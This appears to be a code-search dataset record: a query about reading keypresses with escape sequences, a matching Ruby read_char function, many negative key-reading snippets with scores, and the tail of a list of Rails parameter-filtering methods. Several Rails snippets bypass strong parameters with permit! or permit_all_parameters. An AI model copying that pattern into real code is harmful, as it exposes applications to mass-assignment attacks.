"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] | [
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] | 0.0 | -1 |
Reads keypresses from the user including 2 and 3 escape character sequences. | def read_char
STDIN.echo = false
STDIN.raw!
input = STDIN.getc.chr
if input == "\e" then
input << STDIN.read_nonblock(3) rescue nil
input << STDIN.read_nonblock(2) rescue nil
end
ensure
STDIN.echo = true
STDIN.cooked!
return input
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def key_pressed\n if STDIN.ready?\n input = STDIN.read_nonblock(1) rescue nil\n if input == \"\\e\" \n input << STDIN.read_nonblock(3) rescue nil\n input << STDIN.read_nonblock(2) rescue nil\n end\n end\n # STDIN.cooked!\n input\n\nend",
"def pressKey\n STDIN.echo = false\n STDIN.raw!\n input = STDIN.getc.chr\n if input == \"\\e\" then\n input << STDIN.read_nonblock(3) rescue nil\n input << STDIN.read_nonblock(2) rescue nil\n end\nensure\n STDIN.echo = true\n STDIN.cooked!\n return input\nend",
"def input\n if raw_mode?\n keys = console.getch\n if keys.ord == 27\n keys << console.read_nonblock(3) rescue nil\n keys << console.read_nonblock(2) rescue nil\n end\n keys\n\n else\n console.gets.chomp\n\n end\n end",
"def receive_input\n input = ''\n controls = %w(a s d w)\n until controls.include?(input)\n input = STDIN.getch\n abort 'escaped' if input == \"\\e\"\n end\n input\n end",
"def read_keypress(options = {})\n opts = { echo: false, raw: true }.merge(options)\n codes = unbufferred { get_codes(opts) }\n char = codes ? codes.pack('U*') : nil\n\n trigger_key_event(char) if char\n char\n end",
"def read_single_key\n c = read_char\n\n case c\n\n when \"\\r\"\n return \"RETURN\"\n when \"\\e\"\n return \"SAVE\"\n when \"\\e[A\"\n return \"w\"\n when \"\\e[B\"\n return \"s\"\n when \"\\e[C\"\n return \"d\"\n when \"\\e[D\"\n return \"a\"\n\n when \"\\u0003\"\n puts \"CONTROL-C\"\n exit 0\n else\n return \"SOMETHING ELSE: #{c.inspect}\"\n end\n end",
"def read_char &block\n STDIN.noecho do\n # as long as the block doen't return falsy,\n # read the user input key and sned it to the block\n while block.( IOHelper.get_char )\n end\n end\n end",
"def rl_read_key()\r\n @rl_key_sequence_length+=1\r\n\r\n if (@rl_pending_input!=0)\r\n c = @rl_pending_input\r\n rl_clear_pending_input()\r\n else\r\n # If the user has an event function, then call it periodically.\r\n if (@rl_event_hook)\r\n while (@rl_event_hook && (c=rl_get_char()).nil?)\r\n\r\n send(@rl_event_hook)\r\n if (@rl_done) # XXX - experimental\r\n return (\"\\n\")\r\n end\r\n if (rl_gather_tyi() < 0) # XXX - EIO\r\n @rl_done = true\r\n return (\"\\n\")\r\n end\r\n end\r\n\r\n else\r\n\r\n if (c=rl_get_char()).nil?\r\n c = send(@rl_getc_function,@rl_instream)\r\n end\r\n end\r\n end\r\n\r\n return (c)\r\n end",
"def get_keyboard_input\n c = read_char\n\n case c\n # when \" \"\n # \"SPACE\"\n # when \"\\t\"\n # :query\n when \"\\r\"\n :error\n # when \"\\n\"\n # \"LINE FEED\"\n when \"\\e\"\n :abort\n # when \"\\e[A\"\n # \"UP ARROW\"\n # :error\n # when \"\\e[B\"\n # \"DOWN ARROW\"\n # :error\n when \"\\e[C\"\n \"RIGHT ARROW\"\n :right\n when \"\\e[D\"\n \"LEFT ARROW\"\n :left\n when \"\\177\"\n :backspace\n when \"\\004\"\n :delete\n when \"\\e[3~\"\n :delete\n # when \"\\u0003\"\n # \"CONTROL-C\"\n # exit 0\n when /^.$/\n c\n else\n :error\n end\n end",
"def read_char()\n STDIN.getch()\nend",
"def read_char\n begin\n # save previous state of stty\n old_state = `stty -g`\n # disable echoing and enable raw (not having to press enter)\n system \"stty raw -echo\"\n c = STDIN.getc.chr\n # gather next two characters of special keys\n if(c==\"\\e\")\n extra_thread = Thread.new{\n c = c + STDIN.getc.chr\n c = c + STDIN.getc.chr\n }\n # wait just long enough for special keys to get swallowed\n extra_thread.join(0.00001)\n # kill thread so not-so-long special keys don't wait on getc\n extra_thread.kill\n end\n rescue => ex\n puts \"#{ex.class}: #{ex.message}\"\n puts ex.backtrace\n ensure\n # restore previous state of stty\n system \"stty #{old_state}\"\n end\n return c\nend",
"def readkey\n system('stty raw -echo') # => Raw mode, no echo\n c = (STDIN.read_nonblock(1).ord rescue nil)\n system('stty -raw echo') # => Reset terminal mode\n c\nend",
"def get_key_down(char)\n STDIN.echo = false\n STDIN.raw!\n begin\n #reads input without blocking the thread\n #returns a string of pressed keys\n input = STDIN.read_nonblock(3)\n #check if the key was pressed\n if(input.include? char)\n return true\n end\n return false\n rescue Errno::EAGAIN\n return false\n end\nend",
"def read_char\n STDIN.echo = false\n STDIN.raw!\n\n input = STDIN.getc.chr\n exit(1) if input == \"\\u0003\"\n if input == \"\\e\" then\n input << STDIN.read_nonblock(3) rescue nil\n input << STDIN.read_nonblock(2) rescue nil\n end\nensure\n STDIN.cooked!\n STDIN.echo = true\n \n\n return input\nend",
"def read\n @window.getch\n end",
"def read_char\n STDIN.echo = false\n STDIN.raw!\n input = STDIN.getc.chr\n if input == \"\\e\" then\n input << STDIN.read_nonblock(3) rescue nil\n input << STDIN.read_nonblock(2) rescue nil\n end\n input\n ensure\n STDIN.echo = true\n STDIN.cooked!\n end",
"def read_user_char\n char = nil\n # Don't read keyboard more than x times per second\n time = Time.new\n if !@prev_time || time - @prev_time >= 0.25\n @prev_time = time\n begin\n system('stty raw -echo') # => Raw mode, no echo\n char = (STDIN.read_nonblock(1) rescue nil)\n ensure\n system('stty -raw echo') # => Reset terminal mode\n end\n end\n char\n end",
"def read_char\n\tSTDIN.echo = false\n\tSTDIN.raw!\n\tinput = STDIN.getc.chr\n\tif input == \"\\e\" then\n \tinput << STDIN.read_nonblock(3) rescue nil\n \tinput << STDIN.read_nonblock(2) rescue nil\n \tend\nensure\n \tSTDIN.echo = true\n \tSTDIN.cooked!\n \treturn input\nend",
"def read_char\n STDIN.echo = false\n STDIN.raw!\n\n begin\n input = STDIN.read_nonblock(1)\n if input == \"\\e\"\n input << STDIN.read_nonblock(3) rescue nil\n input << STDIN.read_nonblock(2) rescue nil\n end\n rescue\n retry\n end\nensure\n STDIN.echo = true\n STDIN.cooked!\n\n return input\nend",
"def read\n Vedeu.log(type: :input, message: \"Waiting for user input...\\n\")\n\n if raw_mode?\n Vedeu.trigger(:_keypress_, keypress)\n\n elsif fake_mode?\n @key ||= keypress\n\n if @key.nil?\n nil\n\n elsif click?(@key)\n Vedeu.trigger(:_mouse_event_, @key)\n\n elsif Vedeu::Input::Mapper.registered?(@key, name)\n Vedeu.trigger(:_keypress_, @key, name)\n\n elsif interface.editable?\n Vedeu.trigger(:_editor_, @key)\n\n else\n Vedeu.trigger(:key, @key)\n\n end\n\n elsif cooked_mode?\n Vedeu.trigger(:_command_, command)\n\n end\n end",
"def read_char\nSTDIN.echo = false\nSTDIN.raw!\ninput = STDIN.getc.chr\nif input == \"\\e\" then\ninput << STDIN.read_nonblock(3) rescue nil\ninput << STDIN.read_nonblock(2) rescue nil\nend\nensure\nSTDIN.echo = true\nSTDIN.cooked!\nreturn input\nend",
"def char_press\n begin\n system('stty raw -echo') # turn raw input on\n input = $stdin.getc if $stdin.ready?\n input.chr if input\n ensure\n system('stty -raw echo') # turn raw input off\n end\n end",
"def read_char\n\tSTDIN.echo = false\n\tSTDIN.raw!\n\tinput = STDIN.getc.chr\n\tif input == \"\\e\" then\n input << STDIN.read_nonblock(3) rescue nil\n input << STDIN.read_nonblock(2) rescue nil\n end\nensure\n STDIN.echo = true\n STDIN.cooked!\n return input\nend",
"def read_char\n STDIN.echo = false\n STDIN.raw!\n\n input = STDIN.getc.chr\n if input == \"\\e\" then\n input << STDIN.read_nonblock(3) rescue nil\n input << STDIN.read_nonblock(2) rescue nil\n end\n ensure\n STDIN.echo = true\n STDIN.cooked!\n\n return input\n end",
"def key_press\n x = $stdin.getch\n x += handle_esc if x == \"\\e\"\n\n x\nend",
"def read_char\n STDIN.echo = false\n STDIN.raw!\n\n input = STDIN.getc.chr\n if input == \"\\e\" then\n input << STDIN.read_nonblock(3) rescue nil\n input << STDIN.read_nonblock(2) rescue nil\n end\n ensure\n STDIN.echo = true\n STDIN.cooked!\n\n return input\n end",
"def read_char\n STDIN.echo = false\n STDIN.raw!\n\n input = STDIN.getc.chr\n if input == \"\\e\" then\n input << STDIN.read_nonblock(3) rescue nil\n input << STDIN.read_nonblock(2) rescue nil\n end\n ensure\n STDIN.echo = true\n STDIN.cooked!\n\n return input\n end",
"def read_char\n STDIN.echo = false\n STDIN.raw!\n\n input = STDIN.getc.chr\n if input == \"\\e\" then\n input << STDIN.read_nonblock(3) rescue nil\n input << STDIN.read_nonblock(2) rescue nil\n end\n ensure\n STDIN.echo = true\n STDIN.cooked!\n\n return input\n end",
"def read_char\n STDIN.echo = false\n STDIN.raw!\n\n input = STDIN.getc.chr\n if input == \"\\e\" then\n input << STDIN.read_nonblock(3) rescue nil\n input << STDIN.read_nonblock(2) rescue nil\n end\n ensure\n STDIN.echo = true\n STDIN.cooked!\n\n return input\n end",
"def get_char\n begin\n # save previous state of stty\n old_state = `stty -g`\n # disable echoing and enable raw (not having to press enter)\n system 'stty raw -echo'\n char = STDIN.getc.chr\n # gather next two characters of special keys\n if char == \"\\e\"\n char << STDIN.read_nonblock(3) rescue nil\n char << STDIN.read_nonblock(2) rescue nil\n end\n\n # restore previous state of stty\n system \"stty #{old_state}\"\n end\n\n key = IOChar.char_to_key(char)\n\n if key == 'ctrl-c' or key == 'ctrl-d'\n raise Interrupt\n end\n\n char\n end",
"def read_char\n STDIN.echo = false\n STDIN.raw!\n\n input = STDIN.getc.chr\n if input == \"\\e\" then\n input << STDIN.read_nonblock(3) rescue nil\n input << STDIN.read_nonblock(2) rescue nil\n end\nensure\n STDIN.echo = true\n STDIN.cooked!\n\n return input\nend",
"def read\n if click?(keypress)\n Vedeu.trigger(:_mouse_event_, keypress)\n\n elsif reader.raw_mode?\n Vedeu.trigger(:_keypress_, keypress)\n\n elsif reader.fake_mode?\n name = Vedeu.focus\n interface = Vedeu.interfaces.by_name(name)\n key = keypress\n\n if Vedeu::Input::Mapper.registered?(key, name)\n Vedeu.trigger(:_keypress_, key, name)\n\n elsif interface.editable?\n Vedeu.trigger(:_editor_, key)\n\n else\n Vedeu.trigger(:key, key)\n\n end\n else\n Vedeu.trigger(:_command_, command)\n\n end\n end",
"def show_single_key\nc = read_char\ncase c\nwhen \" \"\nreturn \"SPACE\"\nwhen \"\\t\"\nreturn \"TAB\"\nwhen \"\\r\"\nreturn \"RETURN\"\nwhen \"\\n\"\nreturn \"LINE FEED\"\nwhen \"\\e\"\nreturn \"ESCAPE\"\nwhen \"\\e[A\"\nreturn \"UP ARROW\"\nwhen \"\\e[B\"\nreturn \"DOWN ARROW\"\nwhen \"\\e[C\"\nreturn \"RIGHT ARROW\"\nwhen \"\\e[D\"\nreturn \"LEFT ARROW\"\nwhen \"\\177\"\nreturn \"BACKSPACE\"\nwhen \"\\004\"\nreturn \"DELETE\"\nwhen \"\\e[3~\"\nreturn \"ALTERNATE DELETE\"\nwhen \"\\u0003\"\nreturn \"CONTROL-C\"\nexit 0\nwhen /^.$/\nreturn \"SINGLE CHAR HIT: #{c.inspect}\"\nelse\nreturn \"SOMETHING ELSE: #{c.inspect}\"\nend\nend",
"def read_char\n STDIN.echo = false\n STDIN.raw!\n\n input = STDIN.getc.chr\n if input == \"\\e\"\n begin\n input << STDIN.read_nonblock(3)\n rescue StandardError\n nil\n end\n begin\n input << STDIN.read_nonblock(2)\n rescue StandardError\n nil\n end\n end\n ensure\n STDIN.echo = true\n STDIN.cooked!\n\n return input\n end",
"def getch\n return nil if eos?\n\n do_scan(/./u, true, true, true)\n end",
"def getchar\n @key_reader.getchar\n end",
"def waitForKeyPress\n print 'Press any key to continue'\n got = STDIN.getch\n # Extra space to overwrite in case next output is short\n print \" \\r\"\n\n # Cancel on CTRL-C\n if got == \"\\x03\"\n puts 'Got interrupt key, quitting'\n exit 1\n end\nend",
"def waitForKeyPress\n print \"Press any key to continue\"\n got = STDIN.getch\n # Extra space to overwrite in case next output is short\n print \" \\r\"\n \n # Cancel on CTRL-C\n if got == \"\\x03\"\n puts \"Got interrupt key, quitting\"\n exit 1\n end\nend",
"def input\n keys = Vedeu::Input::Raw.read\n\n if click?(keys)\n Vedeu::Input::Mouse.click(keys)\n\n else\n keys\n\n end\n end",
"def get_char\n system('stty raw -echo 2>/dev/null') # turn raw input on\n c = nil\n # if $stdin.ready?\n c = $stdin.getc\n cn = c.ord\n return 'ENTER' if cn == 10 || cn == 13\n return 'BACKSPACE' if cn == 127\n return 'C-SPACE' if cn == 0\n return 'SPACE' if cn == 32\n # next does not seem to work, you need to bind C-i\n return 'TAB' if cn == 8\n\n if cn >= 0 && cn < 27\n x = cn + 96\n return \"C-#{x.chr}\"\n end\n if c == '\u001b'\n buff = c.chr\n loop do\n k = nil\n if $stdin.ready?\n k = $stdin.getc\n # puts \"got #{k}\"\n buff += k.chr\n else\n x = @kh[buff]\n return x if x\n\n # puts \"returning with #{buff}\"\n if buff.size == 2\n ## possibly a meta/alt char\n k = buff[-1]\n return \"M-#{k.chr}\"\n end\n return buff\n end\n end\n end\n # end\n return c.chr if c\nensure\n # system('stty -raw echo 2>/dev/null') # turn raw input on\n # 2019-03-29 - echo was causing printing of arrow key code on screen\n # if moving fast\n system('stty -raw 2>/dev/null') # turn raw input on\nend",
"def getKey\n begin\n # save previous state of stty\n old_state = `stty -g`\n # disable echoing and enable raw (not having to press enter)\n system \"stty raw -echo\"\n# key = STDIN.getc.chr\n key = STDIN.getbyte\n # gather next two characters of special keys\n if(key == \"\\e\")\n extra_thread = Thread.new{\n# key << STDIN.getc.chr\n# key << STDIN.getc.chr\n key << STDIN.getbyte\n key << STDIN.getbyte\n }\n # wait just long enough for special keys to get swallowed\n extra_thread.join(0.00010)\n # kill thread so not-so-long special keys don't wait on getc\n extra_thread.kill\n end\n# rescue => ex\n# puts \"#{ex.class}: #{ex.message}\"\n# puts ex.backtrace\n ensure\n # restore previous state of stty\n system \"stty #{old_state}\"\n end\n return key\nend",
"def show_single_key\n c = read_char\n \n case c\n when \" \"\n puts \"SPACE\"\n when \"\\t\"\n puts \"TAB\"\n when \"\\r\"\n puts @cursor_pos\n when \"\\n\"\n puts \"LINE FEED\"\n when \"\\e\"\n puts \"ESCAPE\"\n \n\n when \"\\e[A\" ##up\n print \"\\033[1A\\033\"\n @cursor_pos[1] -= 1\n when \"\\e[B\" ##down\n print \"\\033[1B\\033\"\n @cursor_pos[1] += 1\n when \"\\e[C\" ##right\n print \"\\033[1C\\033\"\n @cursor_pos[0] += 1\n when \"\\e[D\" ##left\n print \"\\033[1D\\033\"\n @cursor_pos[0] -= 1\n \n\n when \"\\177\"\n puts \"BACKSPACE\"\n when \"\\004\"\n puts \"DELETE\"\n when \"\\e[3~\"\n puts \"ALTERNATE DELETE\"\n when \"\\u0003\"\n puts \"CONTROL-C\"\n exit 0\n when \"f\"\n puts \"flag\"\n puts \"SINGLE CHAR HIT: #{c.inspect}\"\n else\n puts \"SOMETHING ELSE: #{c.inspect}\"\n end\n\n #p @cursor_pos\nend",
"def get_user_input\n Termbox.tb_poll_event(@event)\n ascii_to_symbol @event[:ch]\n end",
"def get_char\n begin\n system(\"stty raw -echo 2>/dev/null\") # turn raw input on\n c = nil\n #if $stdin.ready?\n c = $stdin.getc\n cn=c.ord\n return \"ENTER\" if cn == 10 || cn == 13\n return \"BACKSPACE\" if cn == 127\n return \"C-SPACE\" if cn == 0\n return \"SPACE\" if cn == 32\n # next does not seem to work, you need to bind C-i\n return \"TAB\" if cn == 8\n if cn >= 0 && cn < 27\n x= cn + 96\n return \"C-#{x.chr}\"\n end\n if c == '\u001b'\n buff=c.chr\n while true\n k = nil\n if $stdin.ready?\n k = $stdin.getc\n #puts \"got #{k}\"\n buff += k.chr\n else\n x=$kh[buff]\n return x if x\n #puts \"returning with #{buff}\"\n if buff.size == 2\n ## possibly a meta/alt char\n k = buff[-1]\n return \"M-#{k.chr}\"\n end\n return buff\n end\n end\n end\n #end\n return c.chr if c\n ensure\n #system \"stty -raw echo\" # turn raw input off\n system(\"stty -raw echo 2>/dev/null\") # turn raw input on\n end\nend",
"def get_char\n begin\n system(\"stty raw -echo 2>/dev/null\") # turn raw input on\n c = nil\n #if $stdin.ready?\n c = $stdin.getc\n cn=c.ord\n return \"ENTER\" if cn == 10 || cn == 13\n return \"BACKSPACE\" if cn == 127\n return \"C-SPACE\" if cn == 0\n return \"SPACE\" if cn == 32\n # next does not seem to work, you need to bind C-i\n return \"TAB\" if cn == 8\n if cn >= 0 && cn < 27\n x= cn + 96\n return \"C-#{x.chr}\"\n end\n if c == '\u001b'\n buff=c.chr\n while true\n k = nil\n if $stdin.ready?\n k = $stdin.getc\n #puts \"got #{k}\"\n buff += k.chr\n else\n x=$kh[buff]\n return x if x\n #puts \"returning with #{buff}\"\n if buff.size == 2\n ## possibly a meta/alt char\n k = buff[-1]\n return \"M-#{k.chr}\"\n end\n return buff\n end\n end\n end\n #end\n return c.chr if c\n ensure\n #system \"stty -raw echo\" # turn raw input off\n system(\"stty -raw echo 2>/dev/null\") # turn raw input on\n end\nend",
"def get_char\n begin\n system(\"stty raw -echo 2>/dev/null\") # turn raw input on\n c = nil\n #if $stdin.ready?\n c = $stdin.getc\n cn=c.ord\n return \"ENTER\" if cn == 13\n return \"BACKSPACE\" if cn == 127\n return \"C-SPACE\" if cn == 0\n return \"SPACE\" if cn == 32\n # next does not seem to work, you need to bind C-i\n return \"TAB\" if cn == 8\n if cn >= 0 && cn < 27\n x= cn + 96\n return \"C-#{x.chr}\"\n end\n if c == '\u001b'\n buff=c.chr\n while true\n k = nil\n if $stdin.ready?\n k = $stdin.getc\n #puts \"got #{k}\"\n buff += k.chr\n else\n x=$kh[buff]\n return x if x\n #puts \"returning with #{buff}\"\n if buff.size == 2\n ## possibly a meta/alt char\n k = buff[-1]\n return \"M-#{k.chr}\"\n end\n return buff\n end\n end\n end\n #end\n return c.chr if c\n ensure\n #system \"stty -raw echo\" # turn raw input off\n system(\"stty -raw echo 2>/dev/null\") # turn raw input on\n end\nend",
"def read_char\n STDIN.raw!\n input = STDIN.getc.chr\n if input == \"\\e\" then\n input << STDIN.read_nonblock(3) rescue nil\n input << STDIN.read_nonblock(2) rescue nil\n end\nensure\n return input\nend",
"def show_single_key\n c = read_char\n\n case c\n when \" \"\n puts \"SPACE\"\n when \"\\t\"\n puts \"TAB\"\n when \"\\r\"\n puts \"RETURN\"\n when \"\\n\"\n puts \"LINE FEED\"\n when \"\\e\"\n puts \"ESCAPE\"\n when \"\\e[A\"\n puts \"UP ARROW\"\n when \"\\e[B\"\n puts \"DOWN ARROW\"\n when \"\\e[C\"\n puts \"RIGHT ARROW\"\n when \"\\e[D\"\n puts \"LEFT ARROW\"\n when \"\\177\"\n puts \"BACKSPACE\"\n when \"\\004\"\n puts \"DELETE\"\n when \"\\e[3~\"\n puts \"ALTERNATE DELETE\"\n when \"\\u0003\"\n puts \"CONTROL-C\"\n exit 0\n when /^.$/\n puts \"SINGLE CHAR HIT: #{c.inspect}\"\n else\n puts \"SOMETHING ELSE: #{c.inspect}\"\n end\n end",
"def read_command\n $stdin.noecho do |noecho|\n noecho.raw do |raw|\n raw.getc.tap do |command|\n # Consume PageUp or PageDown if present. No other ANSI escape sequence is\n # supported so a blind 3.times getc is enough.\n 3.times { command << raw.getc } if command == \"\\e\"\n end\n end\n end\nend",
"def readchar() end",
"def readchar() end",
"def readchar() end",
"def read_char\n raw_tty! do\n input = $stdin.getc.chr\n return input unless input == \"\\e\"\n\n input << begin\n $stdin.read_nonblock(3)\n rescue\n ''\n end\n input << begin\n $stdin.read_nonblock(2)\n rescue\n ''\n end\n input\n end\n rescue IOError\n \"\\e\"\n end",
"def show_single_key\n c = read_char\n\n case c\n when \" \"\n pickUpItem()\n when \"i\"\n showInventory\n when \"m\"\n showMap\n when \"v\"\n inspectSurroundings\n puts \"working\"\n when \"q\"\n system ('clear && printf \"\\e[3J\"') or system (\"cls\")\n exit 0\n when \"k\"\n gameOver\n when \"\\e[A\"\n move(c)\n when \"\\e[B\"\n move(c)\n when \"\\e[C\"\n move(c)\n when \"\\e[D\"\n move(c)\n when \"\\u0003\"\n puts \"CONTROL-C\"\n exit 0\n end\nend",
"def readChar\n\tinput = STDIN.read_nonblock(1) rescue nil\n\tif input == \"\\e\" then\n\t\tinput << STDIN.read_nonblock(1) rescue nil\n\t\tinput << STDIN.read_nonblock(1) rescue nil\n\tend\n\t\n\treturn input\nend",
"def pressKeyToContinue\n puts \"\\n-- press any key to continue --\"\n gets\nend",
"def getch\n scan(/./m)\n end",
"def show_single_key\n c = read_char\n\n case c\n when \" \"\n RTermGame.println \"SPACE\"\n when \"\\t\"\n RTermGame.println \"TAB\"\n when \"\\r\"\n RTermGame.println \"RETURN\"\n when \"\\n\"\n RTermGame.println \"LINE FEED\"\n when \"\\e\"\n RTermGame.println \"ESCAPE\"\n when \"\\e[A\"\n RTermGame.println \"UP ARROW\"\n when \"\\e[B\"\n RTermGame.println \"DOWN ARROW\"\n when \"\\e[C\"\n RTermGame.println \"RIGHT ARROW\"\n when \"\\e[D\"\n RTermGame.println \"LEFT ARROW\"\n when \"\\177\"\n RTermGame.println \"BACKSPACE\"\n when \"\\004\"\n RTermGame.println \"DELETE\"\n when \"\\e[3~\"\n RTermGame.println \"ALTERNATE DELETE\"\n when \"\\u0003\"\n RTermGame.println \"CONTROL-C\"\n exit 0\n when /^.$/\n RTermGame.println \"SINGLE CHAR HIT: #{c.inspect}\"\n else\n RTermGame.println \"SOMETHING ELSE: #{c.inspect}\"\n end\nend",
"def process_keyboard\n ACCEPTED_KEYS.each {|key|\n if Input.repeat?(key[0])\n c = (key[0] != :kSPACE) ? Keyboard.add_char(Ascii::SYM[key[0]]) : \" \"\n process_add(c)\n #Sound.play_ok\n play_random_key_sound\n end\n }\n end",
"def getchar\n $key_chr = nil\n c = nil\n while true\n c = self.getch\n break if c != -1\n end\n \n cn = c\n $key_int = c\n # handle control codes 0 to 127 but not escape\n if cn >= 0 && cn < 128 && cn != 27\n #$key_chr = key_tos(c)\n return c\n end\n \n # if escape then get into a loop and keep checking till -1 or another escape\n #\n if c == 27\n buff=c.chr\n # if there is another escape coming through then 2 keys were pressed so\n # evaluate upon hitting an escape\n # NOTE : i think only if ESc is followed by [ should be keep collectig\n # otherwise the next char should evaluate. cases like F1 are already being sent in as high integer codes\n while true\n #$log.debug \" #{Time.now.to_f} inside LOOP before getch \"\n # This getch seems to take enough time not to return a -1 for almost a second\n # even if nodelay is true ??? XXX\n FFI::NCurses.set_escdelay(5)\n k = self.getch\n #$log.debug \"elapsed #{elapsed} millis inside LOOP AFTER getch #{k} (#{elapsed1})\"\n $log.debug \"inside LOOP AFTER getch #{k} \"\n\n if k == 27\n # seems like two Meta keys pressed in quick succession without chance for -1 to kick in\n # but this still does not catch meta char followed by single char. M-za , it does.\n if $esc_esc\n if buff == 27.chr\n $key_chr = \"<ESC-ESC>\"\n return 2727\n else\n alert \"buff is #{buff}\"\n end\n end\n $log.debug \" 1251 before evaluate \"\n x = _evaluate_buff buff\n # return ESC so it can be interpreted again.\n @window.ungetch k\n $key_chr = x if x\n return $key_int if x\n $log.warn \"getchar: window.rb 1200 Found no mapping for #{buff} \"\n $key_chr = buff\n return $key_int\n #return buff # otherwise caught in loop ???\n elsif k > -1\n # FIXME next lne crashes if M-C-h pressed which gives 263\n if k > 255\n $log.warn 